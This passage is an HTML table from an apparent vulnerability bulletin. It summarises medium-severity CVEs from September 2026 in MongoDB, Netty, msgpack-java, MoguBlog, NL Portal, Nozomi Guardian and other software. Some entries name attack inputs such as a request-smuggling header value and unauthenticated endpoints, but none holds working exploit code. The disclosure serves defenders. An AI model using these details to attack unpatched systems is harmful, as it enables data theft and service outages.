&lt;td&gt;Improper neutralization of regular-expression metacharacters in the LINQ query translation component of the MongoDB C# Driver can cause a caller-supplied character sequence to alter a regular-expression predicate generated by an affected application. An authenticated user who can influence such a value may cause the application to return records beyond those intended by the original filter.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88026&quot; target=&quot;_blank&quot;&gt;CVE-2026-88026&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--Java Driver&lt;/td&gt;
&lt;td&gt;A use-after-free in the reactive client-side encryption component of the MongoDB Java Driver can cause native resources to be freed while an affected encrypted operation is still using them when the operation is cancelled. A party able to cause such an operation to be cancelled may cause the hosting application process to terminate. Reaching the issue requires an affected reactive encryption configuration that retrieves KMS credentials on demand.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88032&quot; target=&quot;_blank&quot;&gt;CVE-2026-88032&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--Laravel MongoDB (PHP)&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements in data query logic in the polymorphic relation handling of the MongoDB integration for Laravel can cause a caller-supplied relation identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated user who can influence a stored relation identifier may cause an affected application to return a document other than the intended relation target.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88028&quot; target=&quot;_blank&quot;&gt;CVE-2026-88028&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--MongoDB Server&lt;/td&gt;
&lt;td&gt;The $regexFindAll expression can be used by an authenticated user who can run aggregation pipeline stages to crash a MongoDB server (mongod). Under certain specific conditions the&amp;nbsp; regex match can start in the middle of a multi-code-unit character, triggering an assertion during query execution.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82052&quot; target=&quot;_blank&quot;&gt;CVE-2026-82052&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--MongoDB Server&lt;/td&gt;
&lt;td&gt;A security issue exists in MongoDB server&#039;s JSON Pointer parser used during $jsonSchema query filter processing. When a find command includes a specially crafted $jsonSchema filter field, the parser processes the input without enforcing adequate limits on iteration count or total allocation size, resulting in significant memory amplification. Under concurrent request load, the cumulative memory consumption can exhaust available heap memory, causing the server&#039;s out-of-memory handler to terminate the mongod process and deny service to all connected clients.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82054&quot; target=&quot;_blank&quot;&gt;CVE-2026-82054&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--MongoDB Server&lt;/td&gt;
&lt;td&gt;A security issue exists in MongoDB&#039;s 2dsphere index key generation that can cause a server crash due to a null pointer dereference. When a specially crafted GeoJSON document is inserted into a collection with a 2dsphere index, an inconsistency in geometry parsing can leave an internal object in an invalid, partially initialized state. During subsequent index key generation, access to this improperly initialized object results in a null pointer dereference that terminates the mongod process. An authenticated user with write access can use this to cause a denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82055&quot; target=&quot;_blank&quot;&gt;CVE-2026-82055&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--MongoDB Server&lt;/td&gt;
&lt;td&gt;A security issue was discovered in MongoDB where an authenticated user with readWrite privileges could crash the mongod server process. By specifying a custom WiredTiger storage configuration option with an incompatible value during collection creation, a user could cause a type confusion in the storage engine layer. When documents were subsequently read from the misconfigured collection, the resulting mismatch in expected data format led to corrupted memory interpretation and a server crash. The crafted collection configuration persists across restarts, requiring manual operator intervention to remediate.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82057&quot; target=&quot;_blank&quot;&gt;CVE-2026-82057&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--MongoDB Server&lt;/td&gt;
&lt;td&gt;A flaw in MongoDB&#039;s JSON Schema validation error generation code allows an authenticated user with readWrite privileges to crash the mongod server. When a BSON document containing an array with a malformed numeric field name fails a $jsonSchema items type constraint, the error generation path performs unsafe numeric conversion on the user-controlled field name without proper exception handling, resulting in an uncaught exception that terminates the server process. This is possible because incoming wire protocol BSON validation does not enforce that array element field names are valid, in-range numeric indices.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82058&quot; target=&quot;_blank&quot;&gt;CVE-2026-82058&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--MongoDB Server&lt;/td&gt;
&lt;td&gt;A security issue in the MongoDB Server&#039;s storage engine integration layer allows an authenticated user with collection creation privileges to cause a persistent denial of service. Insufficient validation of user-supplied storage configuration options permits values that, once persisted to durable metadata, trigger a fatal assertion failure when the metadata is subsequently read by diagnostic operations. The corrupted metadata persists across server restarts and is replicated to other cluster members, requiring manual operator intervention to restore service.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82065&quot; target=&quot;_blank&quot;&gt;CVE-2026-82065&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--MongoDB Server&lt;/td&gt;
&lt;td&gt;A security issue in MongoDB Server allows an authenticated user with write privileges to trigger a persistent fatal assertion crash by sending specially crafted retryable write commands. The crash state is durably persisted, causing the server process to repeatedly crash on restart and potentially propagating to additional nodes in a sharded cluster. Manual intervention is required to restore service availability.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82068&quot; target=&quot;_blank&quot;&gt;CVE-2026-82068&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--MongoDB Server&lt;/td&gt;
&lt;td&gt;A security issue in MongoDB Server&#039;s diagnostic reporting interface allows an authenticated user with monitoring privileges to access insufficiently protected credentials from concurrent administrative operations. The same credentials are properly redacted in server log output, but the diagnostic interface omits equivalent redaction. Successful exploitation requires a valid authenticated session with monitoring-level permissions and results in exposure of cleartext credentials that could enable impersonation of other users, including privileged accounts.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82070&quot; target=&quot;_blank&quot;&gt;CVE-2026-82070&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--MongoDB Server&lt;/td&gt;
&lt;td&gt;A security issue in the MongoDB Server aggregation framework allows an authenticated user with limited read privileges to bypass view-level authorization checks and access data from unauthorized collections when Atlas Search features are in use. The issue stems from insufficient validation of an internal command parameter that can be set by external clients, causing a security check to be improperly skipped.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82073&quot; target=&quot;_blank&quot;&gt;CVE-2026-82073&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--MongoDB Server&lt;/td&gt;
&lt;td&gt;MongoDB Server contains an incorrect authorization vulnerability in the aggregation framework. An authenticated user with minimal privileges can craft a specially formatted aggregation request that causes the server&#039;s authorization subsystem to evaluate a different operation than what is actually executed, resulting in unauthorized read access to collection data within the target database.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82074&quot; target=&quot;_blank&quot;&gt;CVE-2026-82074&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--MongoDB Server&lt;/td&gt;
&lt;td&gt;An integer overflow in the query planning component of MongoDB Server can allow an authenticated user with ordinary database-level read/write privileges to bypass an internal resource limit. Submitting a specially crafted query causes the server to consume memory without bound during query planning, and the resulting exhaustion terminates the server process. This may result in a denial of service affecting all databases served by the affected node.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82076&quot; target=&quot;_blank&quot;&gt;CVE-2026-82076&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--MongoDB Server&lt;/td&gt;
&lt;td&gt;A race condition in MongoDB server&#039;s text index query parsing can cause a heap use-after-free read when handling upsert retry paths. Under certain concurrent index lifecycle operations, a raw pointer to internal text index metadata may be dereferenced after the underlying structures have been freed, leading to a server crash. An authenticated user with readWrite privileges can trigger this condition through specific concurrent text-search and index management operations, resulting in denial of service for all connected clients. This&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82056&quot; target=&quot;_blank&quot;&gt;CVE-2026-82056&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--MongoDB Server&lt;/td&gt;
&lt;td&gt;An internal aggregation expression in MongoDB Server was incorrectly registered as accessible to any authenticated user rather than being restricted to internal cluster operations. By crafting a malformed index specification within this expression, an authenticated user with read-only privileges could trigger an assertion failure in the index key generation code path. In certain build configurations, this assertion failure results in termination of the mongod process, causing a denial of service to all connected clients.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82059&quot; target=&quot;_blank&quot;&gt;CVE-2026-82059&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--MongoDB Server&lt;/td&gt;
&lt;td&gt;In MongoDB, insufficient validation of shard key values during document insertion allowed authenticated users to store documents with specially crafted, operator-shaped objects as shard key values in sharded collections. When change stream events for such documents were processed with the updateLookup full document mode, the crafted values were embedded into internal post-image lookup queries without proper sanitization, causing them to be interpreted as query operators rather than literal equality values. This could result in change stream consumers receiving incorrect post-image documents or encountering non-resumable fatal errors.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82060&quot; target=&quot;_blank&quot;&gt;CVE-2026-82060&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--MongoDB Server&lt;/td&gt;
&lt;td&gt;A security issue in MongoDB Server allows an authenticated user with elevated internal privileges to bypass a disabled feature gate in the applyOps command by specifying an internal replication mode value that was not intended to be client-selectable. This bypass enables execution of container operations that are disabled by default in production configurations, allowing direct storage-engine writes to arbitrary internal storage tables. The authorization check for these operations validates only the operation&#039;s namespace, not the actual storage target, enabling writes to unrelated internal metadata or other collections&#039; data.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82062&quot; target=&quot;_blank&quot;&gt;CVE-2026-82062&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--MongoDB Server&lt;/td&gt;
&lt;td&gt;A use-after-free security issue in the cursor management component of MongoDB Server allows an authenticated user to cause a denial of service. Under specific timing conditions during cursor operations, a stale pointer to a freed resource may be retained and subsequently dereferenced during cursor cleanup, leading to a server process crash.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82063&quot; target=&quot;_blank&quot;&gt;CVE-2026-82063&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--MongoDB Server&lt;/td&gt;
&lt;td&gt;A heap out-of-bounds read security issue exists in the query planning component of MongoDB Server. An authenticated user with database read and write privileges can trigger the security issue through crafted query operations, causing the server to read memory beyond allocated buffer boundaries. The revealed memory contents may be partially observable through diagnostic query statistics output.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82066&quot; target=&quot;_blank&quot;&gt;CVE-2026-82066&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;morgan--morgan&lt;/td&gt;
&lt;td&gt;morgan is an HTTP request logger middleware for Node.js. In versions before 1.12.1, its escapeLogField() function does not escape the double quote character, which delimits the quoted fields of the Apache combined log format that morgan emits. An unauthenticated remote attacker who controls a value written to a quoted field, such as the User-Agent or Referer header, can include a double quote to close that field early, so a log consumer that parses the log by field position reads attacker-supplied text as the following field. In the built-in formats this makes the recorded value differ from the value that was sent, and in custom formats that quote an attacker-controlled token before a server-controlled one it can forge values such as the response status. No newline is injected, so record separation stays intact. The issue is fixed in morgan 1.12.1, which escapes the double quote. Users should upgrade to morgan 1.12.1 or later.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87859&quot; target=&quot;_blank&quot;&gt;CVE-2026-87859&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;moxi624--MoguBlog&lt;/td&gt;
&lt;td&gt;MoguBlog through 6.2 exposes Elasticsearch index management endpoints in the mogu_search service without authentication, allowing remote attackers to delete, recreate, or alter the blog search index. Attackers can invoke POST endpoints to wipe the entire search index, delete specific documents, or inject malicious index entries, causing search functionality to return incorrect or no results.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89261&quot; target=&quot;_blank&quot;&gt;CVE-2026-89261&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;moxi624--MoguBlog&lt;/td&gt;
&lt;td&gt;MoguBlog through 6.2 fails to authenticate requests to the /web/comment/closeEmailNotification endpoint, allowing unauthenticated attackers to disable email notifications for arbitrary users. Remote callers can modify the startEmailNotification flag in Redis cache for any user identifier to suppress reply notifications without authorization.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89263&quot; target=&quot;_blank&quot;&gt;CVE-2026-89263&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;moxi624--MoguBlog&lt;/td&gt;
&lt;td&gt;MoguBlog through 6.2 fails to validate the comment author identity in the POST /web/comment/add endpoint, allowing authenticated users to post comments attributed to any other user. Attackers can supply arbitrary userUid values in the request body to impersonate other accounts including administrators.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89264&quot; target=&quot;_blank&quot;&gt;CVE-2026-89264&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;moxi624--MoguBlog&lt;/td&gt;
&lt;td&gt;MoguBlog through 6.2 contains an authorization bypass vulnerability in the POST /pictureSort/getPictureSortByUid endpoint, which omits the @AuthorityVerify annotation required to enforce role-based permissions. Authenticated back-office users without image-category permissions can supply a category uid to retrieve restricted image-category records including metadata such as name, cover file uid, sort order and timestamps.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89265&quot; target=&quot;_blank&quot;&gt;CVE-2026-89265&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mrubyc--mrubyc&lt;/td&gt;
&lt;td&gt;mrubyc through 4.0.0 contains a null pointer dereference vulnerability in the op_enter() handler in src/vm.c when processing untrusted bytecode. Attackers can craft malicious .mrb bytecode files with OP_ENTER instructions at the top level to crash the embedding application and cause denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86547&quot; target=&quot;_blank&quot;&gt;CVE-2026-86547&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;msgpack--msgpack-java&lt;/td&gt;
&lt;td&gt;msgpack-java through 0.9.12 contains a stack overflow vulnerability in MessageUnpacker.unpackValue() that recursively deserializes arrays and maps without nesting depth limits. Attackers can craft payloads with deeply nested arrays to exhaust the deserializing thread&#039;s stack and trigger StackOverflowError, causing per-request deserialization failures.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90472&quot; target=&quot;_blank&quot;&gt;CVE-2026-90472&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;msgpack--msgpack-java&lt;/td&gt;
&lt;td&gt;msgpack-java through 0.9.12 contains an integer overflow vulnerability in MessageUnpacker.skipValue() when processing MAP32 containers with large element counts. Attackers can supply a MAP32 element count at or above 0x40000000 that wraps when doubled, causing the parser cursor to desynchronize and attacker-controlled data to be returned in place of later fields.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90473&quot; target=&quot;_blank&quot;&gt;CVE-2026-90473&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MultiVendorX--Product Catalog Enquiry for WooCommerce by MultiVendorX&lt;/td&gt;
&lt;td&gt;Unauthenticated Privilege Escalation in Product Catalog Enquiry for WooCommerce by MultiVendorX &amp;lt;= 6.1.4 versions.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81792&quot; target=&quot;_blank&quot;&gt;CVE-2026-81792&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NETGEAR--XR1000&lt;/td&gt;
&lt;td&gt;A cross site request forgery (CSRF) vulnerability in the listed NETGEAR models allows&amp;nbsp;an&amp;nbsp;attacker who can leverage social engineering techniques on a router administrator to tamper with router configuration and disrupt router operations with active assistance from the router administrator. There is no confidentiality impact due to this vulnerability.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-9215&quot; target=&quot;_blank&quot;&gt;CVE-2026-9215&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;netty--netty&lt;/td&gt;
&lt;td&gt;Netty versions 4.1.133.Final through 4.1.137.Final and 4.2.13.Final through 4.2.17.Final fail to properly validate the final transfer coding in the Transfer-Encoding header, allowing attackers to smuggle requests by using malformed encoding declarations. Attackers can split Transfer-Encoding headers across multiple lines or use values like &#039;chunked, xchunked&#039; to bypass validation and decode messages as chunked when the final coding is not chunked, enabling request smuggling attacks.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89044&quot; target=&quot;_blank&quot;&gt;CVE-2026-89044&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Nexi XPay Build--Nexi XPay Build&lt;/td&gt;
&lt;td&gt;The Nexi XPay Build WordPress plugin from 7.6.1 to 7.6.2 does not verify that the saved payment token being requested belongs to the current user, allowing unauthenticated attackers to retrieve other customers&#039; stored card token references together with a valid authorisation signature.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82213&quot; target=&quot;_blank&quot;&gt;CVE-2026-82213&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ningzichun--Student Management System&lt;/td&gt;
&lt;td&gt;A vulnerability was found in ningzichun Student Management System up to 98760f5711cf6dc8b4adca53a9e207ca49b02ebf. Affected by this vulnerability is the function session_start of the file login.php. The manipulation results in session fixiation. The attack can be launched remotely. The exploit has been made public and could be used. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86674&quot; target=&quot;_blank&quot;&gt;CVE-2026-86674&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ningzichun--Student Management System&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in ningzichun Student Management System up to 98760f5711cf6dc8b4adca53a9e207ca49b02ebf. Affected is an unknown function of the file example.7z of the component Backup Handler. The manipulation leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86672&quot; target=&quot;_blank&quot;&gt;CVE-2026-86672&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nl-portal--nl.nl-portal:app&lt;/td&gt;
&lt;td&gt;NL Portal Backend Libraries provide backend components for Dutch government portals that interact with residents, customers, suppliers, and partner organizations. In versions up to and including 3.0.0, deployments using the shipped default configuration exposed two GraphQL developer features without requiring authentication: the GraphiQL playground, an interactive UI for issuing GraphQL queries; and schema introspection, which lets a caller download the full description of every query, mutation, type, and argument the API supports. Anyone who could reach the `/graphiql` endpoint could open the playground in a browser, pull the full schema, and use that to map out the API and craft calls against it. By itself this does not leak user data, but it removes the guesswork from attacking the rest of the API and significantly lowers the bar for finding and exploiting other weaknesses. Version 3.0.1 patches the issue. As a workaround, override the two settings in deployed configuration.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49462&quot; target=&quot;_blank&quot;&gt;CVE-2026-49462&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nl-portal--nl.nl-portal:besluiten&lt;/td&gt;
&lt;td&gt;NL Portal Backend Libraries provide backend components for Dutch government portals that interact with residents, customers, suppliers, and partner organizations. The `nl.nl-portal:documenten-api` package through version 3.0.0 and the `nl.nl-portal:besluiten` package from version 1.5.0 through 3.0.0 lack per-user authorization in GraphQL resolvers, allowing an authenticated user to access other users&#039; document contents, decisions, audit trails, and decision attachments. Version 3.0.1 contains a patch. As a workaround, block the affected document-content and decision-related GraphQL operations at the API gateway or block their GraphQL types entirely.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49463&quot; target=&quot;_blank&quot;&gt;CVE-2026-49463&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Nozomi Networks--Guardian&lt;/td&gt;
&lt;td&gt;An access control vulnerability was discovered in the Smart Polling configuration functionality due to insufficient validation of user privileges. An authenticated user with limited privileges can remotely bypass the intended access control of the web management interface and modify the Smart Polling discovery configuration. This allows the attacker to disrupt the visibility of assets in the monitored network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-33391&quot; target=&quot;_blank&quot;&gt;CVE-2026-33391&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Nozomi Networks--Guardian&lt;/td&gt;
&lt;td&gt;A template injection vulnerability was discovered in the Dashboards functionality due to improper validation of an input parameter. An authenticated user with the required privileges can define a dashboard containing a malicious payload, or a victim can be socially engineered into importing a malicious dashboard. When the victim views or imports the dashboard, the payload executes in their browser context, allowing the attacker to modify application data or disrupt application availability.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-33387&quot; target=&quot;_blank&quot;&gt;CVE-2026-33387&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OCaml--mirage-crypto&lt;/td&gt;
&lt;td&gt;An issue was discovered in the mirage-crypto package before 2.2.0 for OCaml. The AES.GCM.authenticate_decrypt_into and Chacha20.authenticate_decrypt_into functions write the decrypted plaintext into a caller-provided buffer and only then compares the tag. On a forged tag, the functions returns false, but the destination buffer already holds the full plaintext.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87732&quot; target=&quot;_blank&quot;&gt;CVE-2026-87732&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OCaml--mirage-crypto-ec&lt;/td&gt;
